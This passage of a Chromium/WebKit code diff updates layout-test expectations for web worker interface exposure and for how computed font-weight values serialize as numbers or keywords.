+PASS WorkerGlobalScope interface: self must inherit property "createImageBitmap" with the proper type (18) 
+PASS WorkerGlobalScope interface: calling createImageBitmap(ImageBitmapSource,long,long,long,long,ImageBitmapOptions) on self with too few arguments must throw TypeError 
+PASS EventTarget interface: self must inherit property "addEventListener" with the proper type (0) 
+PASS EventTarget interface: calling addEventListener(DOMString,EventListener,[object Object],[object Object]) on self with too few arguments must throw TypeError 
+PASS EventTarget interface: self must inherit property "removeEventListener" with the proper type (1) 
+PASS EventTarget interface: calling removeEventListener(DOMString,EventListener,[object Object],[object Object]) on self with too few arguments must throw TypeError 
+PASS EventTarget interface: self must inherit property "dispatchEvent" with the proper type (2) 
+PASS EventTarget interface: calling dispatchEvent(Event) on self with too few arguments must throw TypeError 
+PASS WorkerNavigator interface: existence and properties of interface object 
+PASS WorkerNavigator interface object length 
+PASS WorkerNavigator interface object name 
+PASS WorkerNavigator interface: existence and properties of interface prototype object 
+PASS WorkerNavigator interface: existence and properties of interface prototype object's "constructor" property 
+PASS WorkerNavigator interface: attribute appCodeName 
+PASS WorkerNavigator interface: attribute appName 
+PASS WorkerNavigator interface: attribute appVersion 
+PASS WorkerNavigator interface: attribute platform 
+PASS WorkerNavigator interface: attribute product 
+PASS WorkerNavigator interface: member productSub 
+PASS WorkerNavigator interface: attribute userAgent 
+PASS WorkerNavigator interface: member vendor 
+PASS WorkerNavigator interface: member vendorSub 
+FAIL WorkerNavigator interface: attribute language assert_true: The prototype object must have a property "language" expected true got false
+FAIL WorkerNavigator interface: attribute languages assert_true: The prototype object must have a property "languages" expected true got false
+PASS WorkerNavigator interface: attribute onLine 
+PASS WorkerNavigator interface: attribute hardwareConcurrency 
+PASS WorkerNavigator must be primary interface of self.navigator 
+PASS Stringification of self.navigator 
+PASS WorkerNavigator interface: self.navigator must inherit property "appCodeName" with the proper type (0) 
+PASS WorkerNavigator interface: self.navigator must inherit property "appName" with the proper type (1) 
+PASS WorkerNavigator interface: self.navigator must inherit property "appVersion" with the proper type (2) 
+PASS WorkerNavigator interface: self.navigator must inherit property "platform" with the proper type (3) 
+PASS WorkerNavigator interface: self.navigator must inherit property "product" with the proper type (4) 
+PASS WorkerNavigatorinterface: self.navigatormust not have property "productSub" 
+PASS WorkerNavigator interface: self.navigator must inherit property "userAgent" with the proper type (6) 
+PASS WorkerNavigatorinterface: self.navigatormust not have property "vendor" 
+PASS WorkerNavigatorinterface: self.navigatormust not have property "vendorSub" 
+FAIL WorkerNavigator interface: self.navigator must inherit property "language" with the proper type (9) assert_inherits: property "language" not found in prototype chain
+FAIL WorkerNavigator interface: self.navigator must inherit property "languages" with the proper type (10) assert_inherits: property "languages" not found in prototype chain
+PASS WorkerNavigator interface: self.navigator must inherit property "onLine" with the proper type (11) 
+PASS WorkerNavigator interface: self.navigator must inherit property "hardwareConcurrency" with the proper type (12) 
+PASS WorkerLocation interface: existence and properties of interface object 
+PASS WorkerLocation interface object length 
+PASS WorkerLocation interface object name 
+PASS WorkerLocation interface: existence and properties of interface prototype object 
+PASS WorkerLocation interface: existence and properties of interface prototype object's "constructor" property 
+PASS WorkerLocation interface: attribute href 
+PASS WorkerLocation interface: stringifier 
+PASS WorkerLocation interface: attribute origin 
+PASS WorkerLocation interface: attribute protocol 
+PASS WorkerLocation interface: attribute host 
+PASS WorkerLocation interface: attribute hostname 
+PASS WorkerLocation interface: attribute port 
+PASS WorkerLocation interface: attribute pathname 
+PASS WorkerLocation interface: attribute search 
+PASS WorkerLocation interface: attribute hash 
+PASS WorkerLocation must be primary interface of self.location 
+PASS Stringification of self.location 
+PASS WorkerLocation interface: self.location must inherit property "href" with the proper type (0) 
+PASS WorkerLocation interface: self.location must inherit property "origin" with the proper type (1) 
+PASS WorkerLocation interface: self.location must inherit property "protocol" with the proper type (2) 
+PASS WorkerLocation interface: self.location must inherit property "host" with the proper type (3) 
+PASS WorkerLocation interface: self.location must inherit property "hostname" with the proper type (4) 
+PASS WorkerLocation interface: self.location must inherit property "port" with the proper type (5) 
+PASS WorkerLocation interface: self.location must inherit property "pathname" with the proper type (6) 
+PASS WorkerLocation interface: self.location must inherit property "search" with the proper type (7) 
+PASS WorkerLocation interface: self.location must inherit property "hash" with the proper type (8) 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/workers/interfaces/WorkerUtils/importScripts/002.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/workers/interfaces/WorkerUtils/importScripts/002.worker-expected.txt
new file mode 100644
index 0000000..c6ae311
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/workers/interfaces/WorkerUtils/importScripts/002.worker-expected.txt
@@ -0,0 +1,6 @@
+This is a testharness.js-based test.
+FAIL Untitled assert_throws: function "function () {
+    importScripts('data:text/javascript,ran=true','http://foo bar');
+  }" threw object "NetworkError: Failed to execute 'importScripts' on 'WorkerGlobalScope': The script at 'http://foo%20bar/' failed to load." that is not a DOMException SyntaxError: property "code" is equal to 19, expected 12
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/workers/semantics/interface-objects/001.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/workers/semantics/interface-objects/001.worker-expected.txt
new file mode 100644
index 0000000..aa4e25d
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/workers/semantics/interface-objects/001.worker-expected.txt
@@ -0,0 +1,65 @@
+This is a testharness.js-based test.
+Found 61 tests; 57 PASS, 4 FAIL, 0 TIMEOUT, 0 NOTRUN.
+PASS The WorkerGlobalScope interface object should be exposed. 
+PASS The DedicatedWorkerGlobalScope interface object should be exposed. 
+FAIL The Worker interface object should be exposed. assert_own_property: expected property "Worker" missing
+FAIL The SharedWorker interface object should be exposed. assert_own_property: expected property "SharedWorker" missing
+PASS The MessagePort interface object should be exposed. 
+PASS The MessageEvent interface object should be exposed. 
+PASS The WorkerNavigator interface object should be exposed. 
+PASS The MessageChannel interface object should be exposed. 
+PASS The WorkerLocation interface object should be exposed. 
+PASS The ImageData interface object should be exposed. 
+PASS The ImageBitmap interface object should be exposed. 
+FAIL The CanvasPath interface object should be exposed. assert_own_property: expected property "CanvasPath" missing
+PASS The Path2D interface object should be exposed. 
+PASS The PromiseRejectionEvent interface object should be exposed. 
+PASS The EventSource interface object should be exposed. 
+PASS The WebSocket interface object should be exposed. 
+PASS The CloseEvent interface object should be exposed. 
+PASS The BroadcastChannel interface object should be exposed. 
+PASS The ArrayBuffer interface object should be exposed. 
+PASS The Int8Array interface object should be exposed. 
+PASS The Uint8Array interface object should be exposed. 
+PASS The Uint8ClampedArray interface object should be exposed. 
+PASS The Int16Array interface object should be exposed. 
+PASS The Uint16Array interface object should be exposed. 
+PASS The Int32Array interface object should be exposed. 
+PASS The Uint32Array interface object should be exposed. 
+PASS The Float32Array interface object should be exposed. 
+PASS The Float64Array interface object should be exposed. 
+PASS The DataView interface object should be exposed. 
+PASS The XMLHttpRequestEventTarget interface object should be exposed. 
+PASS The XMLHttpRequestUpload interface object should be exposed. 
+PASS The XMLHttpRequest interface object should be exposed. 
+PASS The ProgressEvent interface object should be exposed. 
+PASS The FormData interface object should be exposed. 
+PASS The URL interface object should be exposed. 
+PASS The URLSearchParams interface object should be exposed. 
+PASS The File interface object should be exposed. 
+PASS The Blob interface object should be exposed. 
+PASS The FileList interface object should be exposed. 
+PASS The FileReader interface object should be exposed. 
+PASS The FileReaderSync interface object should be exposed. 
+PASS The EventTarget interface object should be exposed. 
+FAIL The ErrorEvent interface object should be exposed. assert_own_property: expected property "ErrorEvent" missing
+PASS The Event interface object should be exposed. 
+PASS The CustomEvent interface object should be exposed. 
+PASS The DOMException interface object should be exposed. 
+PASS The ReadableStream interface object should be exposed. 
+PASS The WritableStream interface object should be exposed. 
+PASS The ByteLengthQueuingStrategy interface object should be exposed. 
+PASS The CountQueuingStrategy interface object should be exposed. 
+PASS The IDBRequest interface object should be exposed. 
+PASS The IDBOpenDBRequest interface object should be exposed. 
+PASS The IDBVersionChangeEvent interface object should be exposed. 
+PASS The IDBFactory interface object should be exposed. 
+PASS The IDBDatabase interface object should be exposed. 
+PASS The IDBObjectStore interface object should be exposed. 
+PASS The IDBIndex interface object should be exposed. 
+PASS The IDBKeyRange interface object should be exposed. 
+PASS The IDBCursor interface object should be exposed. 
+PASS The IDBCursorWithValue interface object should be exposed. 
+PASS The IDBTransaction interface object should be exposed. 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/workers/semantics/interface-objects/002.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/workers/semantics/interface-objects/002.worker-expected.txt
new file mode 100644
index 0000000..a32ee5b
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/workers/semantics/interface-objects/002.worker-expected.txt
@@ -0,0 +1,38 @@
+This is a testharness.js-based test.
+PASS The SharedWorkerGlobalScope interface object should not be exposed. 
+PASS The AbstractView interface object should not be exposed. 
+PASS The AbstractWorker interface object should not be exposed. 
+PASS The ApplicationCache interface object should not be exposed. 
+PASS The Location interface object should not be exposed. 
+PASS The Navigator interface object should not be exposed. 
+PASS The Audio interface object should not be exposed. 
+PASS The HTMLCanvasElement interface object should not be exposed. 
+PASS The Path interface object should not be exposed. 
+PASS The TextMetrics interface object should not be exposed. 
+PASS The CanvasProxy interface object should not be exposed. 
+PASS The CanvasRenderingContext2D interface object should not be exposed. 
+PASS The DrawingStyle interface object should not be exposed. 
+FAIL The CanvasGradient interface object should not be exposed. assert_false: expected false got true
+FAIL The CanvasPattern interface object should not be exposed. assert_false: expected false got true
+PASS The BeforeUnloadEvent interface object should not be exposed. 
+PASS The PopStateEvent interface object should not be exposed. 
+PASS The HashChangeEvent interface object should not be exposed. 
+PASS The PageTransitionEvent interface object should not be exposed. 
+PASS The DOMImplementation interface object should not be exposed. 
+PASS The ReadableStreamDefaultReader interface object should not be exposed. 
+PASS The ReadableStreamBYOBReader interface object should not be exposed. 
+PASS The ReadableStreamDefaultController interface object should not be exposed. 
+PASS The ReadableByteStreamController interface object should not be exposed. 
+PASS The WritableStreamDefaultWriter interface object should not be exposed. 
+PASS The WritableStreamDefaultController interface object should not be exposed. 
+PASS The IDBEnvironment interface object should not be exposed. 
+PASS The Database interface object should not be exposed. 
+PASS The UIEvent interface object should not be exposed. 
+PASS The FocusEvent interface object should not be exposed. 
+PASS The MouseEvent interface object should not be exposed. 
+PASS The WheelEvent interface object should not be exposed. 
+PASS The InputEvent interface object should not be exposed. 
+PASS The KeyboardEvent interface object should not be exposed. 
+PASS The CompositionEvent interface object should not be exposed. 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/fast/css/atapply/at-apply-shorthands.html b/third_party/WebKit/LayoutTests/fast/css/atapply/at-apply-shorthands.html
index 43400bc..9054dd3 100644
--- a/third_party/WebKit/LayoutTests/fast/css/atapply/at-apply-shorthands.html
+++ b/third_party/WebKit/LayoutTests/fast/css/atapply/at-apply-shorthands.html
@@ -15,6 +15,6 @@
 <script>
 test(function(){
     assert_equals(getComputedStyle(e).border, "10px solid rgb(0, 128, 0)");
-    assert_equals(getComputedStyle(e).font, "normal normal 400 normal 20px / normal serif");
+    assert_equals(getComputedStyle(e).font, "normal normal normal normal 20px / normal serif");
 }, "Basic usage of @apply with shorthand properties");
 </script>
diff --git a/third_party/WebKit/LayoutTests/fast/css/child-selector-implicit-tbody.html b/third_party/WebKit/LayoutTests/fast/css/child-selector-implicit-tbody.html
index f364fbe..0f46248 100644
--- a/third_party/WebKit/LayoutTests/fast/css/child-selector-implicit-tbody.html
+++ b/third_party/WebKit/LayoutTests/fast/css/child-selector-implicit-tbody.html
@@ -6,8 +6,8 @@
     if (window.testRunner)
         testRunner.dumpAsText();
     result = "TEST FAILED";
-    if (getComputedStyle(document.getElementById("cell1")).fontWeight == "400")
-        if (getComputedStyle(document.getElementById("cell2")).fontWeight == "700")
+    if (getComputedStyle(document.getElementById("cell1")).fontWeight == "normal")
+        if (getComputedStyle(document.getElementById("cell2")).fontWeight == "bold")
             result = "TEST PASSED: Child rule did not affect the table.";
     document.getElementById("result").firstChild.data = result;
 }
diff --git a/third_party/WebKit/LayoutTests/fast/css/css-properties-case-insensitive.html b/third_party/WebKit/LayoutTests/fast/css/css-properties-case-insensitive.html
index 05700883b..9f55fe6 100644
--- a/third_party/WebKit/LayoutTests/fast/css/css-properties-case-insensitive.html
+++ b/third_party/WebKit/LayoutTests/fast/css/css-properties-case-insensitive.html
@@ -29,7 +29,7 @@
             test.style.setProperty("font-weight", "bold", null);
             test.style.removeProperty("FONT-WEIGHT");
             lowerValue = document.defaultView.getComputedStyle(test, "").getPropertyValue("font-weight");
-            log("removeProperty: " + (lowerValue == "400" ? "PASS" : "FAIL"));
+            log("removeProperty: " + (lowerValue == "normal" ? "PASS" : "FAIL"));
         }
     </script>
 </head>
diff --git a/third_party/WebKit/LayoutTests/fast/css/font-face-character-fallback-expected.html b/third_party/WebKit/LayoutTests/fast/css/font-face-character-fallback-expected.html
index cf2cd51f..626bb04 100644
--- a/third_party/WebKit/LayoutTests/fast/css/font-face-character-fallback-expected.html
+++ b/third_party/WebKit/LayoutTests/fast/css/font-face-character-fallback-expected.html
@@ -22,6 +22,6 @@
 <span class="helvetica">HELVETICA</span>
 <span class="courier">courier</span>
 <span class="courier"><b>COURIER</b></span>
-<span class="times">times</span>
+<span class="times"><b>times</b></span>
 </body>
 </html>
diff --git a/third_party/WebKit/LayoutTests/fast/css/font-face-default-font-expected.html b/third_party/WebKit/LayoutTests/fast/css/font-face-default-font-expected.html
index a9a5edf..c111417 100644
--- a/third_party/WebKit/LayoutTests/fast/css/font-face-default-font-expected.html
+++ b/third_party/WebKit/LayoutTests/fast/css/font-face-default-font-expected.html
@@ -8,8 +8,8 @@
 </head>
 <body>
     <p>
-        Test for <a href="http://bugs.webkit.org/show_bug.cgi?id=16348">http://bugs.webkit.org/show_bug.cgi?id=16348</a>
-        @font-face does not affect the default style.
+        Test for <i><a href="http://bugs.webkit.org/show_bug.cgi?id=16348">http://bugs.webkit.org/show_bug.cgi?id=16348</a>
+        @font-face does not affect the default style</i>.
     </p>
     This text should be in Arial.
 </body>
diff --git a/third_party/WebKit/LayoutTests/fast/css/font-face-multiple-faces-expected.html b/third_party/WebKit/LayoutTests/fast/css/font-face-multiple-faces-expected.html
new file mode 100644
index 0000000..724e62c9
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/fast/css/font-face-multiple-faces-expected.html
@@ -0,0 +1,59 @@
+<style>
+    .courier {
+        font-family: 'Courier', 'Courier New';
+    }
+    .helvetica {
+        font-family: 'Helvetica', 'Arial';
+    }
+    .papyrus {
+        font-family: 'Papyrus', 'Times', 'Times New Roman';
+    }
+    .ahem {
+        font-family: 'Ahem';
+    }
+
+    div { border: 1px solid lightblue; margin: 4px; }
+</style>
+
+<p>
+    Each font name in that font:
+</p>
+<div class="helvetica">
+    <b>Helvetica bold</b> Helvetica <i class="courier">Courier syn. italic <b class="papyrus">Papyrus syn. bold syn. italic</b></i>
+</div>
+
+<div class="courier">
+    <span style="font-weight: 400">Courier</span>
+    <span style="font-weight: 400">Courier</span>
+    <span style="font-weight: 400">Courier</span>
+    <span style="font-weight: 400">Courier</span>
+    <span style="font-weight: 400">Courier</span>
+    <span style="font-weight: 700" class="helvetica">Helvetica Bold</span>
+    <span style="font-weight: 700" class="helvetica">Helvetica Bold</span>
+    <span style="font-weight: 900" class="papyrus">Papyrus syn. bold</span>
+    <span style="font-weight: 900" class="papyrus">Papyrus syn. bold</span>
+</div>
+
+<div class="courier">
+    <span style="font-weight: 300">Courier</span>
+    <span style="font-weight: 300">Courier</span>
+    <span style="font-weight: 300">Courier</span>
+    <span style="font-weight: 300">Courier</span>
+    <span style="font-weight: 300">Courier</span>
+    <span style="font-weight: 600" class="helvetica">Helvetica Bold</span>
+    <span style="font-weight: 600" class="helvetica">Helvetica Bold</span>
+    <span style="font-weight: 600" class="helvetica">Helvetica Bold</span>
+    <span style="font-weight: 600" class="helvetica">Helvetica Bold</span>
+</div>
+
+<div class="courier">
+    <span style="font-weight: 100">Courier</span>
+    <span style="font-weight: 100">Courier</span>
+    <span style="font-weight: 100">Courier</span>
+    <span style="font-weight: 100">Courier</span>
+    <span style="font-weight: 100">Courier</span>
+    <span style="font-weight: 900" class="helvetica">Helvetica Bold</span>
+    <span style="font-weight: 900" class="helvetica">Helvetica Bold</span>
+    <span style="font-weight: 900" class="helvetica">Helvetica Bold</span>
+    <span style="font-weight: 900" class="helvetica">Helvetica Bold</span>
+</div>
diff --git a/third_party/WebKit/LayoutTests/fast/css/font-face-multiple-faces.html b/third_party/WebKit/LayoutTests/fast/css/font-face-multiple-faces.html
new file mode 100644
index 0000000..8fe39a3
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/fast/css/font-face-multiple-faces.html
@@ -0,0 +1,114 @@
+<style>
+    @font-face {
+        font-family: webkit-one;
+        font-style: italic;
+        src: local(Courier), local('Courier New');
+    }
+
+    @font-face {
+        font-family: webkit-one;
+        font-style: normal;
+        font-weight: 700;
+        src: local(Helvetica), local(Arial);
+    }
+
+    @font-face {
+        font-family: webkit-one;
+        font-style: normal;
+        src: local(Helvetica), local(Arial);
+    }
+
+    @font-face {
+        font-family: webkit-one;
+        font-style: italic;
+        font-weight: 700;
+        src: local(Papyrus), local(Times), local('Times New Roman');
+    }
+
+    @font-face {
+        font-family: webkit-six;
+        font-weight: 400;
+        src: local(Courier), local('Courier New');
+    }
+
+    @font-face {
+        font-family: webkit-six;
+        font-weight: 700;
+        src: local(Helvetica), local(Arial);
+    }
+
+    @font-face {
+        font-family: webkit-six;
+        font-weight: 900;
+        src: local(Papyrus), local(Times), local('Times New Roman');
+    }
+
+    @font-face {
+        font-family: webkit-seven;
+        font-weight: 300;
+        src: local(Courier), local('Courier New');
+    }
+
+    @font-face {
+        font-family: webkit-seven;
+        font-weight: 600;
+        src: local(Helvetica), local(Arial);
+    }
+
+    @font-face {
+        font-family: webkit-eight;
+        font-weight: 100;
+        src: local(Courier), local('Courier New');
+    }
+
+    @font-face {
+        font-family: webkit-eight;
+        font-weight: 900;
+        src: local(Helvetica), local(Arial);
+    }
+
+    div { border: 1px solid lightblue; margin: 4px; }
+</style>
+
+<p>
+    Each font name in that font:
+</p>
+<div style="font-family: webkit-one;">
+    <b>Helvetica bold</b> Helvetica <i>Courier syn. italic <b>Papyrus syn. bold syn. italic</b></i>
+</div>
+
+<div style="font-family: webkit-six;">
+    <span style="font-weight: 100">Courier</span>
+    <span style="font-weight: 200">Courier</span>
+    <span style="font-weight: 300">Courier</span>
+    <span style="font-weight: 400">Courier</span>
+    <span style="font-weight: 500">Courier</span>
+    <span style="font-weight: 600">Helvetica Bold</span>
+    <span style="font-weight: 700">Helvetica Bold</span>
+    <span style="font-weight: 800">Papyrus syn. bold</span>
+    <span style="font-weight: 900">Papyrus syn. bold</span>
+</div>
+
+<div style="font-family: webkit-seven;">
+    <span style="font-weight: 100">Courier</span>
+    <span style="font-weight: 200">Courier</span>
+    <span style="font-weight: 300">Courier</span>
+    <span style="font-weight: 400">Courier</span>
+    <span style="font-weight: 500">Courier</span>
+    <span style="font-weight: 600">Helvetica Bold</span>
+    <span style="font-weight: 700">Helvetica Bold</span>
+    <span style="font-weight: 800">Helvetica Bold</span>
+    <span style="font-weight: 900">Helvetica Bold</span>
+</div>
+
+<div style="font-family: webkit-eight;">
+    <span style="font-weight: 100">Courier</span>
+    <span style="font-weight: 200">Courier</span>
+    <span style="font-weight: 300">Courier</span>
+    <span style="font-weight: 400">Courier</span>
+    <span style="font-weight: 500">Courier</span>
+    <span style="font-weight: 600">Helvetica Bold</span>
+    <span style="font-weight: 700">Helvetica Bold</span>
+    <span style="font-weight: 800">Helvetica Bold</span>
+    <span style="font-weight: 900">Helvetica Bold</span>
+</div>
diff --git a/third_party/WebKit/LayoutTests/fast/css/font-shorthand-from-longhands-expected.txt b/third_party/WebKit/LayoutTests/fast/css/font-shorthand-from-longhands-expected.txt
index a9f29cb9..595f9c2 100644
--- a/third_party/WebKit/LayoutTests/fast/css/font-shorthand-from-longhands-expected.txt
+++ b/third_party/WebKit/LayoutTests/fast/css/font-shorthand-from-longhands-expected.txt
@@ -4,37 +4,37 @@
 
 
 PASS style.font is ''
-PASS computedStyle.font is 'normal normal 400 normal 20px / normal foobar'
+PASS computedStyle.font is 'normal normal normal normal 20px / normal foobar'
 PASS computedStyle.fontSize is '20px'
 PASS checkFontStyleValue() is true
 PASS style.font is ''
-PASS computedStyle.font is 'normal normal 400 normal 20px / normal sans-serif'
+PASS computedStyle.font is 'normal normal normal normal 20px / normal sans-serif'
 PASS computedStyle.fontFamily is 'sans-serif'
 PASS style.font is ''
-PASS computedStyle.font is 'italic normal 400 normal 20px / normal sans-serif'
+PASS computedStyle.font is 'italic normal normal normal 20px / normal sans-serif'
 PASS computedStyle.fontStyle is 'italic'
 PASS style.font is ''
-PASS computedStyle.font is 'italic small-caps 400 normal 20px / normal sans-serif'
+PASS computedStyle.font is 'italic small-caps normal normal 20px / normal sans-serif'
 PASS computedStyle.fontVariant is 'small-caps'
 PASS style.font is ''
-PASS computedStyle.font is 'italic small-caps 700 normal 20px / normal sans-serif'
-FAIL computedStyle.fontWeight should be bold. Was 700.
+PASS computedStyle.font is 'italic small-caps bold normal 20px / normal sans-serif'
+PASS computedStyle.fontWeight is 'bold'
 PASS style.font is ''
-PASS computedStyle.font is 'italic small-caps 700 normal 20px / 40px sans-serif'
+PASS computedStyle.font is 'italic small-caps bold normal 20px / 40px sans-serif'
 PASS computedStyle.lineHeight is '40px'
 PASS style.font is 'italic small-caps bold ultra-expanded 20px/40px sans-serif'
-PASS computedStyle.font is 'italic small-caps 700 ultra-expanded 20px / 40px sans-serif'
+PASS computedStyle.font is 'italic small-caps bold ultra-expanded 20px / 40px sans-serif'
 PASS checkFontStyleValue() is true
 PASS style.font is ''
 PASS computedStyle.font is ''
 PASS style.font is 'italic small-caps bold ultra-expanded 20px/40px sans-serif'
-PASS computedStyle.font is 'italic small-caps 700 ultra-expanded 20px / 40px sans-serif'
+PASS computedStyle.font is 'italic small-caps bold ultra-expanded 20px / 40px sans-serif'
 PASS style.font is ''
 PASS computedStyle.font is ''
 PASS style.font is 'italic small-caps bold ultra-expanded 20px/40px sans-serif'
-PASS computedStyle.font is 'italic small-caps 700 ultra-expanded 20px / 40px sans-serif'
+PASS computedStyle.font is 'italic small-caps bold ultra-expanded 20px / 40px sans-serif'
 PASS style.font is ''
-PASS computedStyle.font is 'normal normal 400 normal 16px / normal foobar'
+PASS computedStyle.font is 'normal normal normal normal 16px / normal foobar'
 PASS checkFontStyleValue() is true
 PASS style.fontVariantCaps is 'all-small-caps'
 PASS computedStyle.font is ''
diff --git a/third_party/WebKit/LayoutTests/fast/css/font-shorthand-from-longhands.html b/third_party/WebKit/LayoutTests/fast/css/font-shorthand-from-longhands.html
index 0345aa339..7830808 100644
--- a/third_party/WebKit/LayoutTests/fast/css/font-shorthand-from-longhands.html
+++ b/third_party/WebKit/LayoutTests/fast/css/font-shorthand-from-longhands.html
@@ -36,40 +36,40 @@
 style.fontSize = "20px";
 // We need all font longhands to build the shorthand.
 shouldBe("style.font", "''");
-shouldBe("computedStyle.font", "'normal normal 400 normal 20px / normal foobar'");
+shouldBe("computedStyle.font", "'normal normal normal normal 20px / normal foobar'");
 shouldBe("computedStyle.fontSize", "'20px'");
 shouldBe("checkFontStyleValue()", "true");
 
 style.fontSize = "20px";
 style.fontFamily = "sans-serif";
 shouldBe("style.font", "''");
-shouldBe("computedStyle.font", "'normal normal 400 normal 20px / normal sans-serif'");
+shouldBe("computedStyle.font", "'normal normal normal normal 20px / normal sans-serif'");
 shouldBe("computedStyle.fontFamily", "'sans-serif'");
 
 style.fontStyle = "italic";
 shouldBe("style.font", "''");
-shouldBe("computedStyle.font", "'italic normal 400 normal 20px / normal sans-serif'");
+shouldBe("computedStyle.font", "'italic normal normal normal 20px / normal sans-serif'");
 shouldBe("computedStyle.fontStyle", "'italic'");
 
 style.fontVariant = "small-caps";
 shouldBe("style.font", "''");
-shouldBe("computedStyle.font", "'italic small-caps 400 normal 20px / normal sans-serif'");
+shouldBe("computedStyle.font", "'italic small-caps normal normal 20px / normal sans-serif'");
 shouldBe("computedStyle.fontVariant", "'small-caps'");
 
 style.fontWeight = "bold";
 shouldBe("style.font", "''");
-shouldBe("computedStyle.font", "'italic small-caps 700 normal 20px / normal sans-serif'");
+shouldBe("computedStyle.font", "'italic small-caps bold normal 20px / normal sans-serif'");
 shouldBe("computedStyle.fontWeight", "'bold'");
 
 style.lineHeight = "40px";
 shouldBe("style.font", "''");
-shouldBe("computedStyle.font", "'italic small-caps 700 normal 20px / 40px sans-serif'");
+shouldBe("computedStyle.font", "'italic small-caps bold normal 20px / 40px sans-serif'");
 shouldBe("computedStyle.lineHeight", "'40px'");
 
 style.fontStretch = "ultra-expanded";
 // All font longhands are set, therefore shorthand is built
 shouldBe("style.font", "'italic small-caps bold ultra-expanded 20px/40px sans-serif'");
-shouldBe("computedStyle.font", "'italic small-caps 700 ultra-expanded 20px / 40px sans-serif'");
+shouldBe("computedStyle.font", "'italic small-caps bold ultra-expanded 20px / 40px sans-serif'");
 shouldBe("checkFontStyleValue()", "true");
 
 style.fontVariantLigatures = "discretionary-ligatures";
@@ -79,7 +79,7 @@
 // Reset for next test.
 style.fontVariantLigatures = "normal";
 shouldBe("style.font", "'italic small-caps bold ultra-expanded 20px/40px sans-serif'");
-shouldBe("computedStyle.font", "'italic small-caps 700 ultra-expanded 20px / 40px sans-serif'");
+shouldBe("computedStyle.font", "'italic small-caps bold ultra-expanded 20px / 40px sans-serif'");
 
 style.fontVariantNumeric = "lining-nums";
 // Shorthand cannot be built because of non-normal numeric value.
@@ -88,11 +88,11 @@
 // Reset for next test.
 style.fontVariantNumeric = "normal";
 shouldBe("style.font", "'italic small-caps bold ultra-expanded 20px/40px sans-serif'");
-shouldBe("computedStyle.font", "'italic small-caps 700 ultra-expanded 20px / 40px sans-serif'");
+shouldBe("computedStyle.font", "'italic small-caps bold ultra-expanded 20px / 40px sans-serif'");
 
 style.font = "";
 shouldBe("style.font", "''");
-shouldBe("computedStyle.font", "'normal normal 400 normal 16px / normal foobar'");
+shouldBe("computedStyle.font", "'normal normal normal normal 16px / normal foobar'");
 shouldBe("checkFontStyleValue()", "true");
 
 style.fontVariantCaps = "all-small-caps";
diff --git a/third_party/WebKit/LayoutTests/fast/css/font-weight-1.html b/third_party/WebKit/LayoutTests/fast/css/font-weight-1.html
index ccdb566..4b9bf2aa 100644
--- a/third_party/WebKit/LayoutTests/fast/css/font-weight-1.html
+++ b/third_party/WebKit/LayoutTests/fast/css/font-weight-1.html
@@ -48,7 +48,7 @@
       src:  url('../../resources/WebKitWeightWatcher900.ttf');
     }
     div { font-family: 'WebKit WeightWatcher'; font-size: 48px; }
-    .w1 { font-weight: 100; font-weight: 1001; font-weight: 0; font-weight: 500px; font-weigth: 500.4px; }
+    .w1 { font-weight: 100; font-weight: 500.4; font-weight: 500px; font-weigth: 500.4px; }
     .w2 { font-weight: 200; }
     .w3 { font-weight: 300; }
     .w4 { font-weight: 400; }
diff --git a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-empty-font-family-expected.txt b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-empty-font-family-expected.txt
index e0b950ce..8cdc322 100644
--- a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-empty-font-family-expected.txt
+++ b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-empty-font-family-expected.txt
@@ -10,5 +10,5 @@
 font-variant-ligatures: normal;
 font-variant-caps: normal;
 font-variant-numeric: normal;
-font-weight: 400;
+font-weight: normal;
 
diff --git a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-font-expected.txt b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-font-expected.txt
index 866ea81..de3f552 100644
--- a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-font-expected.txt
+++ b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-font-expected.txt
@@ -3,34 +3,34 @@
 On success, you will see a series of "PASS" messages, followed by "TEST COMPLETE".
 
 
-PASS computedFont('10px sans-serif') is 'normal normal 400 normal 10px / normal sans-serif'
-PASS computedFont('10px sans-serif') is 'normal normal 400 normal 10px / normal sans-serif'
-PASS computedFont('10px SANS-SERIF') is 'normal normal 400 normal 10px / normal sans-serif'
-PASS computedFont('12px sans-serif') is 'normal normal 400 normal 12px / normal sans-serif'
-PASS computedFont('12px  sans-serif') is 'normal normal 400 normal 12px / normal sans-serif'
-PASS computedFont('10px sans-serif, sans-serif') is 'normal normal 400 normal 10px / normal sans-serif, sans-serif'
-PASS computedFont('10px sans-serif, serif') is 'normal normal 400 normal 10px / normal sans-serif, serif'
-PASS computedFont('12px ahem') is 'normal normal 400 normal 12px / normal ahem'
-PASS computedFont('12px unlikely-font-name') is 'normal normal 400 normal 12px / normal unlikely-font-name'
+PASS computedFont('10px sans-serif') is 'normal normal normal normal 10px / normal sans-serif'
+PASS computedFont('10px sans-serif') is 'normal normal normal normal 10px / normal sans-serif'
+PASS computedFont('10px SANS-SERIF') is 'normal normal normal normal 10px / normal sans-serif'
+PASS computedFont('12px sans-serif') is 'normal normal normal normal 12px / normal sans-serif'
+PASS computedFont('12px  sans-serif') is 'normal normal normal normal 12px / normal sans-serif'
+PASS computedFont('10px sans-serif, sans-serif') is 'normal normal normal normal 10px / normal sans-serif, sans-serif'
